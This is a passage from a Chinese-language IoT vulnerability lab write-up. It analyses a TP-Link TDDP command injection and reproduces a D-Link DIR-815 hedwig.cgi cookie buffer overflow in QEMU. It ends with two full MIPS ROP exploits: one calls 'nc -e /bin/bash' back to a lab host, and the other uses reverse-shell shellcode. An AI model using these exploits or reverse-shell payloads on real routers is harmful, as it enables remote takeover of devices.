if ( !v19 )
goto LABEL_20;
sscanf(v19, "%[^;];%s", s, v10);
if ( !s[0] || !v10[0] )
{
printf("[%s():%d] luaFile or configFile len error.\n", "tddp_cmd_configSet", 555);
LABEL_20:
*(_BYTE *)(v12 + 3) = 3;
return error(-10303, "config set failed");
}
v16 = inet_ntoa(*(struct in_addr *)(a1 + 4));
sub_91DC("cd /tmp;tftp -gr %s %s &", s, v16);
sprintf(name, "/tmp/%s", s);
while ( v17 > 0 )
{
sleep(1u);
if ( !access(name, 0) )
break;
--v17;
}
if ( !v17 )
{
printf("[%s():%d] lua file [%s] don't exsit.\n", "tddp_cmd_configSet", 574, name);
goto LABEL_20;
}
if ( v15 )
{
luaL_openlibs(v15);
v4 = luaL_loadfile(v15, name);
if ( !v4 )
v4 = lua_pcall(v15, 0, -1, 0);
lua_getfield(v15, -10002, "config_test", v4);
lua_pushstring(v15, v10);
lua_pushstring(v15, v16);
lua_call(v15, 2, 1);
v5 = lua_tonumber(v15, -1);
v18 = sub_16EC4(v5, HIDWORD(v5));
lua_settop(v15, -2);
}
lua_close(v15);
if ( v18 )
goto LABEL_20;
*(_BYTE *)(v12 + 3) = 0;
return 0;
}

TDDP协议是Version 1的时候,v18会从TDDP包的首地址往后移12个字节,也就是从“报头”移动到“数据”的首地址接着就到了一个sscanf函数:

这个sscanf函数将传进来的TDDP包数据区按照分离符;分为sv9两个字符串,其中利用正则表达式过滤了s中的;,之后,字符串s拼接到了cd /tmp;tftp -gr的后面,这显然是一个shell命令,而s拼接上去很可能就导致了任意命令的执行,我们来看sub_91DC函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
int sub_91DC(const char *a1, ...)
{
char *argv; // [sp+8h] [bp-11Ch] BYREF
const char *v4; // [sp+Ch] [bp-118h]
char *v5; // [sp+10h] [bp-114h]
int v6; // [sp+14h] [bp-110h]
int stat_loc; // [sp+18h] [bp-10Ch] BYREF
char s[256]; // [sp+1Ch] [bp-108h] BYREF
__pid_t pid; // [sp+11Ch] [bp-8h]
va_list varg_r1; // [sp+12Ch] [bp+8h] BYREF

va_start(varg_r1, a1);
pid = 0;
stat_loc = 0;
argv = 0;
v4 = 0;
v5 = 0;
v6 = 0;
vsprintf(s, a1, varg_r1);
printf("[%s():%d] cmd: %s \r\n", "tddp_execCmd", 72, s);
pid = fork();
if ( pid < 0 )
return -1;
if ( !pid )
{
argv = "sh";
v4 = "-c";
v5 = s;
v6 = 0;
execve("/bin/sh", &argv, 0);
exit(127);
}
while ( waitpid(pid, &stat_loc, 0) == -1 )
{
if ( *_errno_location() != 4 )
return -1;
}
return 0;
}

可见,这里的确就是一个shell命令的执行,有两种利用方式:

1.字符串ssscanf分离的时候仅过滤了;,而 |& 也可以作为连接符,对两句独立命令进行连接

2.tftp -gr ...命令是利用FTP协议,从...路径下载文件,在这里是保存到/tmp目录下,而后面的v4 = luaL_loadfile(v15, name);函数对Lua脚本进行加载运行。

因此,我们若是想传一个路径到字符串s也是可以的,不过需要先搭建TFTP Server,然后在某目录下放一个可执行恶意命令的Lua脚本文件

复现

启动脚本

1
2
3
4
5
6
7
8
9
#!/bin/bash
sudo qemu-system-arm \
-M vexpress-a9 \
-kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress \
-drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2 console=ttyAMA0" \
-net nic -net tap,ifname=tap0 \
-nographic

DIR-815缓冲区溢出

漏洞报告D-Link Devices - ‘hedwig.cgi’ Remote Buffer Overflow in Cookie Header (Metasploit) - Hardware remote Exploit (exploit-db.com)

固件包下载legacyfiles.us.dlink.com - /DIR-815/REVA/FIRMWARE/

环境复现

通过随便查看提取出来的文件包里的二进制文件

确认这是32位小端序mipsl

Index of /~aurel32/qemu (debian.org)拉取文件系统与kernel镜像

因为是小端序的所以选择debian_squeeze_mipsel_standard.qcow2vmlinux-3.2.0-4-4kc-malta

首先依然是网络配置,还是老几样

  1. 创建一个虚拟网桥,并分配地址
  2. 创建一个tap设备,并分配地址并将其添加到虚拟网桥中作为接口
  3. 启动脚本中指定tap设备,并在虚拟机中为网络设备分配地址

启动脚本如下

1
2
3
4
5
6
7
8
sudo qemu-system-mipsel \
-M malta \
-kernel vmlinux-3.2.0-4-4kc-malta \
-hda debian_squeeze_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=tty0" \
-net nic \
-net tap,ifname=tap0 \
-nographic \

然后这题看别的博客还提到需要打开物理机转换功能,不是很清楚但以防万一也跟着做一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#! /bin/sh
sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -F
sudo iptables -X
sudo iptables -t nat -F
sudo iptables -t nat -X
sudo iptables -t mangle -F
sudo iptables -t mangle -X
sudo iptables -P INPUT ACCEPT
sudo iptables -P FORWARD ACCEPT
sudo iptables -P OUTPUT ACCEPT
sudo iptables -t nat -A POSTROUTING -o ens33 -j MASQUERADE
sudo iptables -I FORWARD 1 -i tap0 -j ACCEPT
sudo iptables -I FORWARD 1 -o tap0 -m state --state RELATED,ESTABLISHED -j ACCEPT

此外,这题环境需要用到http配置服务

现在提取出来的文件系统中存放一个配置文件http_conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
Umask 026
PIDFile /var/run/httpd.pid
LogGMT On
ErrorLog /log

Tuning
{
NumConnections 15
BufSize 12288
InputBufSize 4096
ScriptBufSize 4096
NumHeaders 100
Timeout 60
ScriptTimeout 60
}

Control
{
Types
{
text/html { html htm }
text/xml { xml }
text/plain { txt }
image/gif { gif }
image/jpeg { jpg }
text/css { css }
application/octet-stream { * }
}
Specials
{
Dump { /dump }
CGI { cgi }
Imagemap { map }
Redirect { url }
}
External
{
/usr/sbin/phpcgi { php }
}
}


Server
{
ServerName "Linux, HTTP/1.1, "
ServerId "1234"
Family inet
Interface eth0 #对应qemu仿真路由器系统的网卡
Address 192.168.234.3 #qemu仿真路由器系统的IP
Port "1234" #对应未被使用的端口
Virtual
{
AnyHost
Control
{
Alias / #服务器目录
Location /htdocs/web #源
IndexNames { index.php }
External
{
/usr/sbin/phpcgi { router_info.xml }
/usr/sbin/phpcgi { post_login.xml }
}
}
Control
{
Alias /HNAP1
Location /htdocs/HNAP1
External
{
/usr/sbin/hnap { hnap }
}
IndexNames { index.hnap }
}
}
}

且由于环境的问题,我们之后将服务的运行切换到模拟的qemu根目录

使用脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/bin/bash
echo 0 > /proc/sys/kernel/randomize_va_space
cp http_conf /
cp sbin/httpd /
cp -rf htdocs/ /
mkdir /etc_bak
cp -r /etc /etc_bak
rm /etc/services
cp -rf etc/ /
cp lib/ld-uClibc-0.9.30.1.so /lib/
cp lib/libcrypt-0.9.30.1.so /lib/
cp lib/libc.so.0 /lib/
cp lib/libgcc_s.so.1 /lib/
cp lib/ld-uClibc.so.0 /lib/
cp lib/libcrypt.so.0 /lib/
cp lib/libgcc_s.so /lib/
cp lib/libuClibc-0.9.30.1.so /lib/
cd /
rm -rf /htdocs/web/hedwig.cgi
rm -rf /usr/sbin/phpcgi
rm -rf /usr/sbin/hnap
ln -s /htdocs/cgibin /htdocs/web/hedwig.cgi
ln -s /htdocs/cgibin /usr/sbin/phpcgi
ln -s /htdocs/cgibin /usr/sbin/hnap
./httpd -f http_conf

因为修改了etc文件,所以退出之前记得还原

1
2
3
4
#!/bin/bash
rm -rf /etc
mv /etc_bak/etc /etc
rm -rf /etc_bak

漏洞分析

根据报告可以知道漏洞出在hedwig.cgi中,但可以发现这其实是指向cgibin的软连接

ida打开文件后看到main仅仅是匹配参数并跳转

1
2
3
4
5
6
if ( !strcmp(v3, "hedwig.cgi") )
{
v8 = (void (__noreturn *)())hedwigcgi_main;
v9 = argc;
return ((int (__fastcall *)(_DWORD, _DWORD, _DWORD))v8)(v9, argv, envp);
}

跟进gedwigcgi_main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
  v0 = getenv("REQUEST_METHOD");
if ( !v0 )
{
v1 = "no REQUEST";
LABEL_7:
v3 = 0;
v4 = 0;
LABEL_34:
v9 = -1;
goto LABEL_25;
}
if ( strcasecmp(v0, "POST") )
{
v1 = "unsupported HTTP request";
goto LABEL_7;
}
cgibin_parse_request(sub_409A6C, 0, 0x20000);
v2 = fopen("/etc/config/image_sign", "r");
if ( !fgets(v26, 128, v2) )
{
v1 = "unable to read signature!";
goto LABEL_7;
}

首先获取环境变量REQUEST_METHOD,并且可以判断必须是post方法

然后进入cgibin_parse_request,该函数用于进一步处理http请求

在其中又会要求三个环境变量

1
2
3
4
5
6
7
8
9
10
11
if ( getenv("CONTENT_TYPE") && (v6 = getenv("CONTENT_LENGTH")) != 0 )
v7 = atoi(v6);
else
v7 = 0;
v21 = sobj_new();
v8 = sobj_new();
v22 = v8;
v9 = -1;
if ( v21 && v8 )
{
v10 = getenv("REQUEST_URI");

虽然对漏洞利用没什么影响,但依然需要传递这些

sobjstringobject的缩写,这一系列的函数都是针对字符串的

一种可能的实现如下DIR-850L_A1/comlib/strobj.c at master · coolshou/DIR-850L_A1 (github.com)

之后不必多做关注,继续走到一个关键函数sess_get_uid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
  while ( 1 )
{
v7 = *v5;
if ( !*v5 )
break;
if ( v6 == 1 )
goto LABEL_11;
if ( v6 < 2 )
{
if ( v7 == ' ' )
goto LABEL_18;
sobj_free(v2);
sobj_free(v4);
LABEL_11:
if ( v7 == ';' )
{
v6 = 0;
}
else
{
v6 = 2;
if ( v7 != '=' )
{
sobj_add_char(v2, v7);
v6 = 1;
}
}
goto LABEL_18;
}
if ( v6 == 2 )
{
if ( v7 == ';' )
{
v6 = 3;
goto LABEL_18;
}
sobj_add_char(v4, *v5++);
}
else
{
v6 = 0;
if ( !sobj_strcmp(v2, "uid") )
goto LABEL_21;
LABEL_18:
++v5;
}
}

其用于获得uid,=前面的内容被存入了v2,后面的内容被存入了v4,最后会对v2中的内容进行一个判断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 if ( !sobj_strcmp(v2, "uid") )
{
LABEL_21:
string = (char *)sobj_get_string(v4);
goto LABEL_22;
}
LABEL_27:
string = getenv("REMOTE_ADDR");
LABEL_22:
result = sobj_add_string(a1, string);
if ( v2 )
result = sobj_del(v2);
if ( v4 )
return sobj_del(v4);
return result;

也就是判断等号前的内容是否为uid,判断通过了以后,就会将等号后面的字符串拼接入a1,也就是主函数传进来的参数v4

再然后就到了一个非常关键的点

1
2
3
sess_get_uid(v4);
string = (const char *)sobj_get_string(v4);
sprintf(v27, "%s/%s/postxml", "/runtime/session", string);

这里的string就是v4中的字符串,也就是cookieuid=之后的内容,是可以由用户自由控制的,然而v27数组的大小仅有1024,因此,很容易造成缓冲区溢出。

在之后还有一个类似的sprintf

1
2
v20 = (const char *)sobj_get_string(v4);
sprintf(v27, "/htdocs/webinc/fatlady.php\nprefix=%s/%s", "/runtime/session", v20);

这里的string仍然是v4,进一步观察,发现v4在两个sprintf之间未被改变过,也就是说,这里的string仍然是cookieuid=后面的字符串,如果能走到这第二个sprintf的话,那么这里才是真正的溢出漏洞点,因为仍然是v27数组的溢出,两次拼接的字符串又一样,所以这里能覆盖上一次sprintf的内容。

容易看出,如果能走到第二个sprintf的话,就需要过这两个判断:

1
2
3
4
5
6
7
8
9
10
if ( !v7 )
{
v1 = "unable to open temp file.";
goto LABEL_34;
}
if ( !haystack )
{
v1 = "no xml data.";
goto LABEL_34;
}

这第一个判断需要有/var/tmp这个目录,这个在真机上是有的,因此为了更真实地模拟环境,我们需要在解压后得到的文件系统内创建一个/var/tmp文件夹,这样cgibin才能在此路径下创建temp.xml文件用于数据的写入。

第二个判断haystack的值在这之前只有cgibin_parse_request的第一个参数sub_409A6C中可对其操作:

1
2
3
4
5
6
7
8
9
10
char *__fastcall sub_409A6C(int a1, int a2)
{
char *result; // $v0

if ( haystack )
free(haystack);
result = (char *)sobj_strdup(*(_DWORD *)(a2 + 4));
haystack = result;
return result;
}

这个sub_409A6C函数需要POST传入内容的时候才能走到,那么就要使得POST传入内容

漏洞利用

mips架构不同于x86能够直接进行跳转,其存在一些硬性要求

我们看system的开头

1
2
.text:00053200 02 00 1C 3C E0 32 9C 27       li      $gp, (_GLOBAL_OFFSET_TABLE_+0x7FF0 - .)  # Alternative name is '__libc_system'
.text:00053208 21 E0 99 03 addu $gp, $t9

由于之后许多操作会使用到gp,所以这里$t9必须要是system的地址(这点算是非常通用的,因为gp寄存器的值被用来定位静态数据区域,所以要保证gp寄存器不会出错)

因此跳转到某个函数的时候,一定要通过jalr $t9类似的gadget进行跳转才行。

我们发现,最后的返回的时候,得是通过$ra寄存器中的地址跳转的,也就是说,我们在跳转到这个函数之前,就也得控制好$ra寄存器中的地址为我们跳转后执行完该函数,再下一个跳转到的地方。很方便的是,我们发现move $t9, ...这样的gadget之后,通常会有lw $ra, ...这样的gadget,最后再jr $t9,这类gadget可以通过mipsrop.tail()来进行查找

1
2
3
4
5
6
7
8
9
.text:00040640                               loc_40640:                               # CODE XREF: sub_405EC+34↑j
.text:00040640 21 28 00 02 move $a1, $s0
.text:00040644 21 C8 20 02 move $t9, $s1
.text:00040648 24 00 BF 8F lw $ra, 0x1C+var_s8($sp)
.text:0004064C 20 00 B1 8F lw $s1, 0x1C+var_s4($sp)
.text:00040650 1C 00 B0 8F lw $s0, 0x1C+var_s0($sp)
.text:00040654 94 23 84 24 addiu $a0, 0x2394
.text:00040658 08 00 20 03 jr $t9
.text:0004065C 28 00 BD 27 addiu $sp, 0x28

此外还需要注意这里system的最低字节恰好是\x00,所以最好跳转其之前(刚好是几个\x00在mips中是nop)

第一个问题解决,现在第二个如何控制参数

我们想要一个addiu $a0, $sp, ...gadget,但是这样的gadget一般来说没有能满足我们要求的,之后的跳转大多都不太方便。

于是,我们想到可以通过如addiu $s0, $sp, ...move $a0, $s0的组合命令实现,而一些原本要跳到mempcpy函数的地方,由于mempcpy函数的特性,恰好会同时包含上面两个gadget,也就不需要分两次跳转了,一段gadget就能搞定,例如:

1
2
3
4
5
6
.text:00015B68 AC 02 C5 8F                   lw      $a1, 0x280+arg_4($fp)
.text:00015B6C 18 00 B2 27 addiu $s2, $sp, 0x280+var_268
.text:00015B70 21 30 60 00 move $a2, $v1
.text:00015B74 21 C8 00 02 move $t9, $s0
.text:00015B78 09 F8 20 03 jalr $t9 ; mempcpy
.text:00015B7C 21 20 40 02 move $a0, $s2

这里由于上面所说的流水线指令集的特性,在跳转到t9之前,其第一个参数$a0就已经被赋为$s2了。

至此两个问题解决

exp来自winmt大佬

rop:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

cmd = b'nc -e /bin/bash 192.168.192.131 8888'

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += p32(libc_base + 0x53200 - 1) # s0 system_addr - 1
payload += p32(libc_base + 0x169C4) # s1 addiu $s2, $sp, 0x18 (=> jalr $s0)
payload += b'a'*(4*7)
payload += p32(libc_base + 0x32A98) # ra addiu $s0, 1 (=> jalr $s1)
payload += b'a'*0x18
payload += cmd

url = "http://192.168.192.133:1234/hedwig.cgi"
data = {"winmt" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

rop+shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
from pwn import *
import requests
context(os = 'linux', arch = 'mips', log_level = 'debug')

libc_base = 0x77f34000

payload = b'a'*0x3cd
payload += b'a'*4
payload += p32(libc_base + 0x436D0) # s1 move $t9, $s3 (=> lw... => jalr $t9)
payload += b'a'*4
payload += p32(libc_base + 0x56BD0) # s3 sleep
payload += b'a'*(4*5)
payload += p32(libc_base + 0x57E50) # ra li $a0, 1 (=> jalr $s1)

payload += b'a'*0x18
payload += b'a'*(4*4)
payload += p32(libc_base + 0x37E6C) # s4 move $t9, $a1 (=> jalr $t9)
payload += p32(libc_base + 0x3B974) # ra addiu $a1, $sp, 0x18 (=> jalr $s4)

shellcode = asm('''
slti $a0, $zero, 0xFFFF
li $v0, 4006
syscall 0x42424

slti $a0, $zero, 0x1111
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
li $v0, 4006
syscall 0x42424

li $t4, 0xFFFFFFFD
not $a0, $t4
not $a1, $t4
slti $a2, $zero, 0xFFFF
li $v0, 4183
syscall 0x42424

andi $a0, $v0, 0xFFFF
li $v0, 4041
syscall 0x42424
li $v0, 4041
syscall 0x42424

lui $a1, 0xB821 # Port: 8888
ori $a1, 0xFF01
addi $a1, $a1, 0x0101
sw $a1, -8($sp)

li $a1, 0x83C0A8C0 # IP: 192.168.192.131
sw $a1, -4($sp)
addi $a1, $sp, -8

li $t4, 0xFFFFFFEF
not $a2, $t4
li $v0, 4170
syscall 0x42424

lui $t0, 0x6962
ori $t0, $t0,0x2f2f
sw $t0, -20($sp)

lui $t0, 0x6873
ori $t0, 0x2f6e
sw $t0, -16($sp)

slti $a3, $zero, 0xFFFF
sw $a3, -12($sp)
sw $a3, -4($sp)

addi $a0, $sp, -20
addi $t0, $sp, -20
sw $t0, -8($sp)
addi $a1, $sp, -8

addiu $sp, $sp, -20

slti $a2, $zero, 0xFFFF
li $v0, 4011
syscall 0x42424
''')
payload += b'a'*0x18
payload += shellcode

url = "http://192.168.192.133:1234/hedwig.cgi"
data = {"winmt" : "pwner"}
headers = {
"Cookie" : b"uid=" + payload,
"Content-Type" : "application/x-www-form-urlencoded",
"Content-Length": "11"
}
res = requests.post(url = url, headers = headers, data = data)
print(res)

最终成功getshell